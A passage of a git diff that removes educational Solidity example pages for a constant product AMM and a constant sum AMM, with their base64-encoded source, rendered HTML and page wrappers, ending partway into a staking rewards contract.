hbDApIC8gdG90YWxTdXBwbHk7CiAgICAgICAgYW1vdW50MSA9IChfc2hhcmVzICogYmFsMSkgLyB0b3RhbFN1cHBseTsKICAgICAgICByZXF1aXJlKGFtb3VudDAgPiAwICYmIGFtb3VudDEgPiAwLCAiYW1vdW50MCBvciBhbW91bnQxID0gMCIpOwoKICAgICAgICBfYnVybihtc2cuc2VuZGVyLCBfc2hhcmVzKTsKICAgICAgICBfdXBkYXRlKGJhbDAgLSBhbW91bnQwLCBiYWwxIC0gYW1vdW50MSk7CgogICAgICAgIHRva2VuMC50cmFuc2Zlcihtc2cuc2VuZGVyLCBhbW91bnQwKTsKICAgICAgICB0b2tlbjEudHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50MSk7CiAgICB9CgogICAgZnVuY3Rpb24gX3NxcnQodWludCB5KSBwcml2YXRlIHB1cmUgcmV0dXJucyAodWludCB6KSB7CiAgICAgICAgaWYgKHkgPiAzKSB7CiAgICAgICAgICAgIHogPSB5OwogICAgICAgICAgICB1aW50IHggPSB5IC8gMiArIDE7CiAgICAgICAgICAgIHdoaWxlICh4IDwgeikgewogICAgICAgICAgICAgICAgeiA9IHg7CiAgICAgICAgICAgICAgICB4ID0gKHkgLyB4ICsgeCkgLyAyOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIGlmICh5ICE9IDApIHsKICAgICAgICAgICAgeiA9IDE7CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIF9taW4odWludCB4LCB1aW50IHkpIHByaXZhdGUgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIHggPD0geSA/IHggOiB5OwogICAgfQp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50KTsKCiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQpOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50KTsKCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludCBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbSgKICAgICAgICBhZGRyZXNzIHNlbmRlciwKICAgICAgICBhZGRyZXNzIHJlY2lwaWVudCwKICAgICAgICB1aW50IGFtb3VudAogICAgKSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKCiAgICBldmVudCBUcmFuc2ZlcihhZGRyZXNzIGluZGV4ZWQgZnJvbSwgYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50IGFtb3VudCk7CiAgICBldmVudCBBcHByb3ZhbChhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBzcGVuZGVyLCB1aW50IGFtb3VudCk7Cn0K", - }, -] - -const html = `

Constant product AMM XY = K

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract CPAMM {
-    IERC20 public immutable token0;
-    IERC20 public immutable token1;
-
-    uint public reserve0;
-    uint public reserve1;
-
-    uint public totalSupply;
-    mapping(address => uint) public balanceOf;
-
-    constructor(address _token0, address _token1) {
-        token0 = IERC20(_token0);
-        token1 = IERC20(_token1);
-    }
-
-    function _mint(address _to, uint _amount) private {
-        balanceOf[_to] += _amount;
-        totalSupply += _amount;
-    }
-
-    function _burn(address _from, uint _amount) private {
-        balanceOf[_from] -= _amount;
-        totalSupply -= _amount;
-    }
-
-    function _update(uint _reserve0, uint _reserve1) private {
-        reserve0 = _reserve0;
-        reserve1 = _reserve1;
-    }
-
-    function swap(address _tokenIn, uint _amountIn) external returns (uint amountOut) {
-        require(
-            _tokenIn == address(token0) || _tokenIn == address(token1),
-            "invalid token"
-        );
-        require(_amountIn > 0, "amount in = 0");
-
-        bool isToken0 = _tokenIn == address(token0);
-        (IERC20 tokenIn, IERC20 tokenOut, uint reserveIn, uint reserveOut) = isToken0
-            ? (token0, token1, reserve0, reserve1)
-            : (token1, token0, reserve1, reserve0);
-
-        tokenIn.transferFrom(msg.sender, address(this), _amountIn);
-
-        /*
-        How much dy for dx?
-
-        xy = k
-        (x + dx)(y - dy) = k
-        y - dy = k / (x + dx)
-        y - k / (x + dx) = dy
-        y - xy / (x + dx) = dy
-        (yx + ydx - xy) / (x + dx) = dy
-        ydx / (x + dx) = dy
-        */
-        // 0.3% fee
-        uint amountInWithFee = (_amountIn * 997) / 1000;
-        amountOut = (reserveOut * amountInWithFee) / (reserveIn + amountInWithFee);
-
-        tokenOut.transfer(msg.sender, amountOut);
-
-        _update(token0.balanceOf(address(this)), token1.balanceOf(address(this)));
-    }
-
-    function addLiquidity(uint _amount0, uint _amount1) external returns (uint shares) {
-        token0.transferFrom(msg.sender, address(this), _amount0);
-        token1.transferFrom(msg.sender, address(this), _amount1);
-
-        /*
-        How much dx, dy to add?
-
-        xy = k
-        (x + dx)(y + dy) = k'
-
-        No price change, before and after adding liquidity
-        x / y = (x + dx) / (y + dy)
-
-        x(y + dy) = y(x + dx)
-        x * dy = y * dx
-
-        x / y = dx / dy
-        dy = y / x * dx
-        */
-        if (reserve0 > 0 || reserve1 > 0) {
-            require(reserve0 * _amount1 == reserve1 * _amount0, "x / y != dx / dy");
-        }
-
-        /*
-        How much shares to mint?
-
-        f(x, y) = value of liquidity
-        We will define f(x, y) = sqrt(xy)
-
-        L0 = f(x, y)
-        L1 = f(x + dx, y + dy)
-        T = total shares
-        s = shares to mint
-
-        Total shares should increase proportional to increase in liquidity
-        L1 / L0 = (T + s) / T
-
-        L1 * T = L0 * (T + s)
-
-        (L1 - L0) * T / L0 = s 
-        */
-
-        /*
-        Claim
-        (L1 - L0) / L0 = dx / x = dy / y
-
-        Proof
-        --- Equation 1 ---
-        (L1 - L0) / L0 = (sqrt((x + dx)(y + dy)) - sqrt(xy)) / sqrt(xy)
-        
-        dx / dy = x / y so replace dy = dx * y / x
-
-        --- Equation 2 ---
-        Equation 1 = (sqrt(xy + 2ydx + dx^2 * y / x) - sqrt(xy)) / sqrt(xy)
-
-        Multiply by sqrt(x) / sqrt(x)
-        Equation 2 = (sqrt(x^2y + 2xydx + dx^2 * y) - sqrt(x^2y)) / sqrt(x^2y)
-                   = (sqrt(y)(sqrt(x^2 + 2xdx + dx^2) - sqrt(x^2)) / (sqrt(y)sqrt(x^2))
-        
-        sqrt(y) on top and bottom cancels out
-
-        --- Equation 3 ---
-        Equation 2 = (sqrt(x^2 + 2xdx + dx^2) - sqrt(x^2)) / (sqrt(x^2)
-        = (sqrt((x + dx)^2) - sqrt(x^2)) / sqrt(x^2)  
-        = ((x + dx) - x) / x
-        = dx / x
-
-        Since dx / dy = x / y,
-        dx / x = dy / y
-
-        Finally
-        (L1 - L0) / L0 = dx / x = dy / y
-        */
-        if (totalSupply == 0) {
-            shares = _sqrt(_amount0 * _amount1);
-        } else {
-            shares = _min(
-                (_amount0 * totalSupply) / reserve0,
-                (_amount1 * totalSupply) / reserve1
-            );
-        }
-        require(shares > 0, "shares = 0");
-        _mint(msg.sender, shares);
-
-        _update(token0.balanceOf(address(this)), token1.balanceOf(address(this)));
-    }
-
-    function removeLiquidity(
-        uint _shares
-    ) external returns (uint amount0, uint amount1) {
-        /*
-        Claim
-        dx, dy = amount of liquidity to remove
-        dx = s / T * x
-        dy = s / T * y
-
-        Proof
-        Let's find dx, dy such that
-        v / L = s / T
-        
-        where
-        v = f(dx, dy) = sqrt(dxdy)
-        L = total liquidity = sqrt(xy)
-        s = shares
-        T = total supply
-
-        --- Equation 1 ---
-        v = s / T * L
-        sqrt(dxdy) = s / T * sqrt(xy)
-
-        Amount of liquidity to remove must not change price so 
-        dx / dy = x / y
-
-        replace dy = dx * y / x
-        sqrt(dxdy) = sqrt(dx * dx * y / x) = dx * sqrt(y / x)
-
-        Divide both sides of Equation 1 with sqrt(y / x)
-        dx = s / T * sqrt(xy) / sqrt(y / x)
-           = s / T * sqrt(x^2) = s / T * x
-
-        Likewise
-        dy = s / T * y
-        */
-
-        // bal0 >= reserve0
-        // bal1 >= reserve1
-        uint bal0 = token0.balanceOf(address(this));
-        uint bal1 = token1.balanceOf(address(this));
-
-        amount0 = (_shares * bal0) / totalSupply;
-        amount1 = (_shares * bal1) / totalSupply;
-        require(amount0 > 0 && amount1 > 0, "amount0 or amount1 = 0");
-
-        _burn(msg.sender, _shares);
-        _update(bal0 - amount0, bal1 - amount1);
-
-        token0.transfer(msg.sender, amount0);
-        token1.transfer(msg.sender, amount1);
-    }
-
-    function _sqrt(uint y) private pure returns (uint z) {
-        if (y > 3) {
-            z = y;
-            uint x = y / 2 + 1;
-            while (x < z) {
-                z = x;
-                x = (y / x + x) / 2;
-            }
-        } else if (y != 0) {
-            z = 1;
-        }
-    }
-
-    function _min(uint x, uint y) private pure returns (uint) {
-        return x <= y ? x : y;
-    }
-}
-
-interface IERC20 {
-    function totalSupply() external view returns (uint);
-
-    function balanceOf(address account) external view returns (uint);
-
-    function transfer(address recipient, uint amount) external returns (bool);
-
-    function allowance(address owner, address spender) external view returns (uint);
-
-    function approve(address spender, uint amount) external returns (bool);
-
-    function transferFrom(
-        address sender,
-        address recipient,
-        uint amount
-    ) external returns (bool);
-
-    event Transfer(address indexed from, address indexed to, uint amount);
-    event Approval(address indexed owner, address indexed spender, uint amount);
-}
-
` - -export default html diff --git a/src/pages/defi/constant-product-amm/index.md b/src/pages/defi/constant-product-amm/index.md deleted file mode 100644 index 001bd0e13..000000000 --- a/src/pages/defi/constant-product-amm/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Constant Product AMM -version: 0.8.20 -description: Constant product AMM -keywords: [defi, constant, product, amm] ---- - -Constant product AMM `XY = K` - -```solidity -{{{CPAMM}}} -``` diff --git a/src/pages/defi/constant-product-amm/index.tsx b/src/pages/defi/constant-product-amm/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/defi/constant-product-amm/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/defi/constant-sum-amm/CSAMM.sol b/src/pages/defi/constant-sum-amm/CSAMM.sol deleted file mode 100644 index 502902fce..000000000 --- a/src/pages/defi/constant-sum-amm/CSAMM.sol +++ /dev/null @@ -1,141 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract CSAMM { - IERC20 public immutable token0; - IERC20 public immutable token1; - - uint public reserve0; - uint public reserve1; - - uint public totalSupply; - mapping(address => uint) public balanceOf; - - constructor(address _token0, address _token1) { - // NOTE: This contract assumes that token0 and token1 - // both have same decimals - token0 = IERC20(_token0); - token1 = IERC20(_token1); - } - - function _mint(address _to, uint _amount) private { - balanceOf[_to] += _amount; - totalSupply += _amount; - } - - function _burn(address _from, uint _amount) private { - balanceOf[_from] -= _amount; - totalSupply -= _amount; - } - - function _update(uint _res0, uint _res1) private { - reserve0 = _res0; - reserve1 = _res1; - } - - function swap(address _tokenIn, uint _amountIn) external returns (uint amountOut) { - require( - _tokenIn == address(token0) || _tokenIn == address(token1), - "invalid token" - ); - - bool isToken0 = _tokenIn == address(token0); - - (IERC20 tokenIn, IERC20 tokenOut, uint resIn, uint resOut) = isToken0 - ? (token0, token1, reserve0, reserve1) - : (token1, token0, reserve1, reserve0); - - tokenIn.transferFrom(msg.sender, address(this), _amountIn); - uint amountIn = tokenIn.balanceOf(address(this)) - resIn; - - // 0.3% fee - amountOut = (amountIn * 997) / 1000; - - (uint res0, uint res1) = isToken0 - ? (resIn + amountIn, resOut - amountOut) - : (resOut - amountOut, resIn + amountIn); - - _update(res0, res1); - tokenOut.transfer(msg.sender, amountOut); - } - - function addLiquidity(uint _amount0, uint _amount1) external returns (uint shares) { - token0.transferFrom(msg.sender, address(this), _amount0); - token1.transferFrom(msg.sender, address(this), _amount1); - - uint bal0 = token0.balanceOf(address(this)); - uint bal1 = token1.balanceOf(address(this)); - - uint d0 = bal0 - reserve0; - uint d1 = bal1 - reserve1; - - /* - a = amount in - L = total liquidity - s = shares to mint - T = total supply - - s should be proportional to increase from L to L + a - (L + a) / L = (T + s) / T - - s = a * T / L - */ - if (totalSupply > 0) { - shares = ((d0 + d1) * totalSupply) / (reserve0 + reserve1); - } else { - shares = d0 + d1; - } - - require(shares > 0, "shares = 0"); - _mint(msg.sender, shares); - - _update(bal0, bal1); - } - - function removeLiquidity(uint _shares) external returns (uint d0, uint d1) { - /* - a = amount out - L = total liquidity - s = shares - T = total supply - - a / L = s / T - - a = L * s / T - = (reserve0 + reserve1) * s / T - */ - d0 = (reserve0 * _shares) / totalSupply; - d1 = (reserve1 * _shares) / totalSupply; - - _burn(msg.sender, _shares); - _update(reserve0 - d0, reserve1 - d1); - - if (d0 > 0) { - token0.transfer(msg.sender, d0); - } - if (d1 > 0) { - token1.transfer(msg.sender, d1); - } - } -} - -interface IERC20 { - function totalSupply() external view returns (uint); - - function balanceOf(address account) external view returns (uint); - - function transfer(address recipient, uint amount) external returns (bool); - - function allowance(address owner, address spender) external view returns (uint); - - function approve(address spender, uint amount) external returns (bool); - - function transferFrom( - address sender, - address recipient, - uint amount - ) external returns (bool); - - event Transfer(address indexed from, address indexed to, uint amount); - event Approval(address indexed owner, address indexed spender, uint amount); -} diff --git a/src/pages/defi/constant-sum-amm/index.html.ts b/src/pages/defi/constant-sum-amm/index.html.ts deleted file mode 100644 index b45fc032e..000000000 --- a/src/pages/defi/constant-sum-amm/index.html.ts +++ /dev/null @@ -1,160 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Constant Sum AMM" -export const description = "Constant sum AMM" - -export const keywords = ["defi", "constant", "sum", "amm"] - -export const codes = [ - { - fileName: "CSAMM.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IENTQU1NIHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMDsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMTsKCiAgICB1aW50IHB1YmxpYyByZXNlcnZlMDsKICAgIHVpbnQgcHVibGljIHJlc2VydmUxOwoKICAgIHVpbnQgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4wLCBhZGRyZXNzIF90b2tlbjEpIHsKICAgICAgICAvLyBOT1RFOiBUaGlzIGNvbnRyYWN0IGFzc3VtZXMgdGhhdCB0b2tlbjAgYW5kIHRva2VuMQogICAgICAgIC8vIGJvdGggaGF2ZSBzYW1lIGRlY2ltYWxzCiAgICAgICAgdG9rZW4wID0gSUVSQzIwKF90b2tlbjApOwogICAgICAgIHRva2VuMSA9IElFUkMyMChfdG9rZW4xKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfbWludChhZGRyZXNzIF90bywgdWludCBfYW1vdW50KSBwcml2YXRlIHsKICAgICAgICBiYWxhbmNlT2ZbX3RvXSArPSBfYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5ICs9IF9hbW91bnQ7CiAgICB9CgogICAgZnVuY3Rpb24gX2J1cm4oYWRkcmVzcyBfZnJvbSwgdWludCBfYW1vdW50KSBwcml2YXRlIHsKICAgICAgICBiYWxhbmNlT2ZbX2Zyb21dIC09IF9hbW91bnQ7CiAgICAgICAgdG90YWxTdXBwbHkgLT0gX2Ftb3VudDsKICAgIH0KCiAgICBmdW5jdGlvbiBfdXBkYXRlKHVpbnQgX3JlczAsIHVpbnQgX3JlczEpIHByaXZhdGUgewogICAgICAgIHJlc2VydmUwID0gX3JlczA7CiAgICAgICAgcmVzZXJ2ZTEgPSBfcmVzMTsKICAgIH0KCiAgICBmdW5jdGlvbiBzd2FwKGFkZHJlc3MgX3Rva2VuSW4sIHVpbnQgX2Ftb3VudEluKSBleHRlcm5hbCByZXR1cm5zICh1aW50IGFtb3VudE91dCkgewogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIF90b2tlbkluID09IGFkZHJlc3ModG9rZW4wKSB8fCBfdG9rZW5JbiA9PSBhZGRyZXNzKHRva2VuMSksCiAgICAgICAgICAgICJpbnZhbGlkIHRva2VuIgogICAgICAgICk7CgogICAgICAgIGJvb2wgaXNUb2tlbjAgPSBfdG9rZW5JbiA9PSBhZGRyZXNzKHRva2VuMCk7CgogICAgICAgIChJRVJDMjAgdG9rZW5JbiwgSUVSQzIwIHRva2VuT3V0LCB1aW50IHJlc0luLCB1aW50IHJlc091dCkgPSBpc1Rva2VuMAogICAgICAgICAgICA/ICh0b2tlbjAsIHRva2VuMSwgcmVzZXJ2ZTAsIHJlc2VydmUxKQogICAgICAgICAgICA6ICh0b2tlbjEsIHRva2VuMCwgcmVzZXJ2ZTEsIHJlc2VydmUwKTsKCiAgICAgICAgdG9rZW5Jbi50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudEluKTsKICAgICAgICB1aW50IGFtb3VudEluID0gdG9rZW5Jbi5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSkgLSByZXNJbjsKCiAgICAgICAgLy8gMC4zJSBmZWUKICAgICAgICBhbW91bnRPdXQgPSAoYW1vdW50SW4gKiA5OTcpIC8gMTAwMDsKCiAgICAgICAgKHVpbnQgcmVzMCwgdWludCByZXMxKSA9IGlzVG9rZW4wCiAgICAgICAgICAgID8gKHJlc0luICsgYW1vdW50SW4sIHJlc091dCAtIGFtb3VudE91dCkKICAgICAgICAgICAgOiAocmVzT3V0IC0gYW1vdW50T3V0LCByZXNJbiArIGFtb3VudEluKTsKCiAgICAgICAgX3VwZGF0ZShyZXMwLCByZXMxKTsKICAgICAgICB0b2tlbk91dC50cmFuc2Zlcihtc2cuc2VuZGVyLCBhbW91bnRPdXQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGFkZExpcXVpZGl0eSh1aW50IF9hbW91bnQwLCB1aW50IF9hbW91bnQxKSBleHRlcm5hbCByZXR1cm5zICh1aW50IHNoYXJlcykgewogICAgICAgIHRva2VuMC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudDApOwogICAgICAgIHRva2VuMS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudDEpOwoKICAgICAgICB1aW50IGJhbDAgPSB0b2tlbjAuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHVpbnQgYmFsMSA9IHRva2VuMS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CgogICAgICAgIHVpbnQgZDAgPSBiYWwwIC0gcmVzZXJ2ZTA7CiAgICAgICAgdWludCBkMSA9IGJhbDEgLSByZXNlcnZlMTsKCiAgICAgICAgLyoKICAgICAgICBhID0gYW1vdW50IGluCiAgICAgICAgTCA9IHRvdGFsIGxpcXVpZGl0eQogICAgICAgIHMgPSBzaGFyZXMgdG8gbWludAogICAgICAgIFQgPSB0b3RhbCBzdXBwbHkKCiAgICAgICAgcyBzaG91bGQgYmUgcHJvcG9ydGlvbmFsIHRvIGluY3JlYXNlIGZyb20gTCB0byBMICsgYQogICAgICAgIChMICsgYSkgLyBMID0gKFQgKyBzKSAvIFQKCiAgICAgICAgcyA9IGEgKiBUIC8gTAogICAgICAgICovCiAgICAgICAgaWYgKHRvdGFsU3VwcGx5ID4gMCkgewogICAgICAgICAgICBzaGFyZXMgPSAoKGQwICsgZDEpICogdG90YWxTdXBwbHkpIC8gKHJlc2VydmUwICsgcmVzZXJ2ZTEpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHNoYXJlcyA9IGQwICsgZDE7CiAgICAgICAgfQoKICAgICAgICByZXF1aXJlKHNoYXJlcyA+IDAsICJzaGFyZXMgPSAwIik7CiAgICAgICAgX21pbnQobXNnLnNlbmRlciwgc2hhcmVzKTsKCiAgICAgICAgX3VwZGF0ZShiYWwwLCBiYWwxKTsKICAgIH0KCiAgICBmdW5jdGlvbiByZW1vdmVMaXF1aWRpdHkodWludCBfc2hhcmVzKSBleHRlcm5hbCByZXR1cm5zICh1aW50IGQwLCB1aW50IGQxKSB7CiAgICAgICAgLyoKICAgICAgICBhID0gYW1vdW50IG91dAogICAgICAgIEwgPSB0b3RhbCBsaXF1aWRpdHkKICAgICAgICBzID0gc2hhcmVzCiAgICAgICAgVCA9IHRvdGFsIHN1cHBseQoKICAgICAgICBhIC8gTCA9IHMgLyBUCgogICAgICAgIGEgPSBMICogcyAvIFQKICAgICAgICAgID0gKHJlc2VydmUwICsgcmVzZXJ2ZTEpICogcyAvIFQKICAgICAgICAqLwogICAgICAgIGQwID0gKHJlc2VydmUwICogX3NoYXJlcykgLyB0b3RhbFN1cHBseTsKICAgICAgICBkMSA9IChyZXNlcnZlMSAqIF9zaGFyZXMpIC8gdG90YWxTdXBwbHk7CgogICAgICAgIF9idXJuKG1zZy5zZW5kZXIsIF9zaGFyZXMpOwogICAgICAgIF91cGRhdGUocmVzZXJ2ZTAgLSBkMCwgcmVzZXJ2ZTEgLSBkMSk7CgogICAgICAgIGlmIChkMCA+IDApIHsKICAgICAgICAgICAgdG9rZW4wLnRyYW5zZmVyKG1zZy5zZW5kZXIsIGQwKTsKICAgICAgICB9CiAgICAgICAgaWYgKGQxID4gMCkgewogICAgICAgICAgICB0b2tlbjEudHJhbnNmZXIobXNnLnNlbmRlciwgZDEpOwogICAgICAgIH0KICAgIH0KfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCk7CgogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50KTsKCiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludCBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCk7CgogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKCiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgdWludCBhbW91bnQKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZXZlbnQgVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIGZyb20sIGFkZHJlc3MgaW5kZXhlZCB0bywgdWludCBhbW91bnQpOwogICAgZXZlbnQgQXBwcm92YWwoYWRkcmVzcyBpbmRleGVkIG93bmVyLCBhZGRyZXNzIGluZGV4ZWQgc3BlbmRlciwgdWludCBhbW91bnQpOwp9Cg==", - }, -] - -const html = `

Constant sum AMM X + Y = K

-

Tokens trade one to one.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract CSAMM {
-    IERC20 public immutable token0;
-    IERC20 public immutable token1;
-
-    uint public reserve0;
-    uint public reserve1;
-
-    uint public totalSupply;
-    mapping(address => uint) public balanceOf;
-
-    constructor(address _token0, address _token1) {
-        // NOTE: This contract assumes that token0 and token1
-        // both have same decimals
-        token0 = IERC20(_token0);
-        token1 = IERC20(_token1);
-    }
-
-    function _mint(address _to, uint _amount) private {
-        balanceOf[_to] += _amount;
-        totalSupply += _amount;
-    }
-
-    function _burn(address _from, uint _amount) private {
-        balanceOf[_from] -= _amount;
-        totalSupply -= _amount;
-    }
-
-    function _update(uint _res0, uint _res1) private {
-        reserve0 = _res0;
-        reserve1 = _res1;
-    }
-
-    function swap(address _tokenIn, uint _amountIn) external returns (uint amountOut) {
-        require(
-            _tokenIn == address(token0) || _tokenIn == address(token1),
-            "invalid token"
-        );
-
-        bool isToken0 = _tokenIn == address(token0);
-
-        (IERC20 tokenIn, IERC20 tokenOut, uint resIn, uint resOut) = isToken0
-            ? (token0, token1, reserve0, reserve1)
-            : (token1, token0, reserve1, reserve0);
-
-        tokenIn.transferFrom(msg.sender, address(this), _amountIn);
-        uint amountIn = tokenIn.balanceOf(address(this)) - resIn;
-
-        // 0.3% fee
-        amountOut = (amountIn * 997) / 1000;
-
-        (uint res0, uint res1) = isToken0
-            ? (resIn + amountIn, resOut - amountOut)
-            : (resOut - amountOut, resIn + amountIn);
-
-        _update(res0, res1);
-        tokenOut.transfer(msg.sender, amountOut);
-    }
-
-    function addLiquidity(uint _amount0, uint _amount1) external returns (uint shares) {
-        token0.transferFrom(msg.sender, address(this), _amount0);
-        token1.transferFrom(msg.sender, address(this), _amount1);
-
-        uint bal0 = token0.balanceOf(address(this));
-        uint bal1 = token1.balanceOf(address(this));
-
-        uint d0 = bal0 - reserve0;
-        uint d1 = bal1 - reserve1;
-
-        /*
-        a = amount in
-        L = total liquidity
-        s = shares to mint
-        T = total supply
-
-        s should be proportional to increase from L to L + a
-        (L + a) / L = (T + s) / T
-
-        s = a * T / L
-        */
-        if (totalSupply > 0) {
-            shares = ((d0 + d1) * totalSupply) / (reserve0 + reserve1);
-        } else {
-            shares = d0 + d1;
-        }
-
-        require(shares > 0, "shares = 0");
-        _mint(msg.sender, shares);
-
-        _update(bal0, bal1);
-    }
-
-    function removeLiquidity(uint _shares) external returns (uint d0, uint d1) {
-        /*
-        a = amount out
-        L = total liquidity
-        s = shares
-        T = total supply
-
-        a / L = s / T
-
-        a = L * s / T
-          = (reserve0 + reserve1) * s / T
-        */
-        d0 = (reserve0 * _shares) / totalSupply;
-        d1 = (reserve1 * _shares) / totalSupply;
-
-        _burn(msg.sender, _shares);
-        _update(reserve0 - d0, reserve1 - d1);
-
-        if (d0 > 0) {
-            token0.transfer(msg.sender, d0);
-        }
-        if (d1 > 0) {
-            token1.transfer(msg.sender, d1);
-        }
-    }
-}
-
-interface IERC20 {
-    function totalSupply() external view returns (uint);
-
-    function balanceOf(address account) external view returns (uint);
-
-    function transfer(address recipient, uint amount) external returns (bool);
-
-    function allowance(address owner, address spender) external view returns (uint);
-
-    function approve(address spender, uint amount) external returns (bool);
-
-    function transferFrom(
-        address sender,
-        address recipient,
-        uint amount
-    ) external returns (bool);
-
-    event Transfer(address indexed from, address indexed to, uint amount);
-    event Approval(address indexed owner, address indexed spender, uint amount);
-}
-
` - -export default html diff --git a/src/pages/defi/constant-sum-amm/index.md b/src/pages/defi/constant-sum-amm/index.md deleted file mode 100644 index dfd62efa4..000000000 --- a/src/pages/defi/constant-sum-amm/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Constant Sum AMM -version: 0.8.20 -description: Constant sum AMM -keywords: [defi, constant, sum, amm] ---- - -Constant sum AMM `X + Y = K` - -Tokens trade one to one. - -```solidity -{{{CSAMM}}} -``` diff --git a/src/pages/defi/constant-sum-amm/index.tsx b/src/pages/defi/constant-sum-amm/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/defi/constant-sum-amm/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/defi/discrete-staking-rewards/DiscreteStakingRewards.sol b/src/pages/defi/discrete-staking-rewards/DiscreteStakingRewards.sol deleted file mode 100644 index ac457b947..000000000 --- a/src/pages/defi/discrete-staking-rewards/DiscreteStakingRewards.sol +++ /dev/null @@ -1,90 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract DiscreteStakingRewards { - IERC20 public immutable stakingToken; - IERC20 public immutable rewardToken; - - mapping(address => uint) public balanceOf; - uint public totalSupply; - - uint private constant MULTIPLIER = 1e18; - uint private rewardIndex; - mapping(address => uint) private rewardIndexOf; - mapping(address => uint) private earned; - - constructor(address _stakingToken, address _rewardToken) { - stakingToken = IERC20(_stakingToken); - rewardToken = IERC20(_rewardToken); - } - - function updateRewardIndex(uint reward) external { - rewardToken.transferFrom(msg.sender, address(this), reward); - rewardIndex += (reward * MULTIPLIER) / totalSupply; - } - - function _calculateRewards(address account) private view returns (uint) { - uint shares = balanceOf[account]; - return (shares * (rewardIndex - rewardIndexOf[account])) / MULTIPLIER; - } - - function calculateRewardsEarned(address account) external view returns (uint) { - return 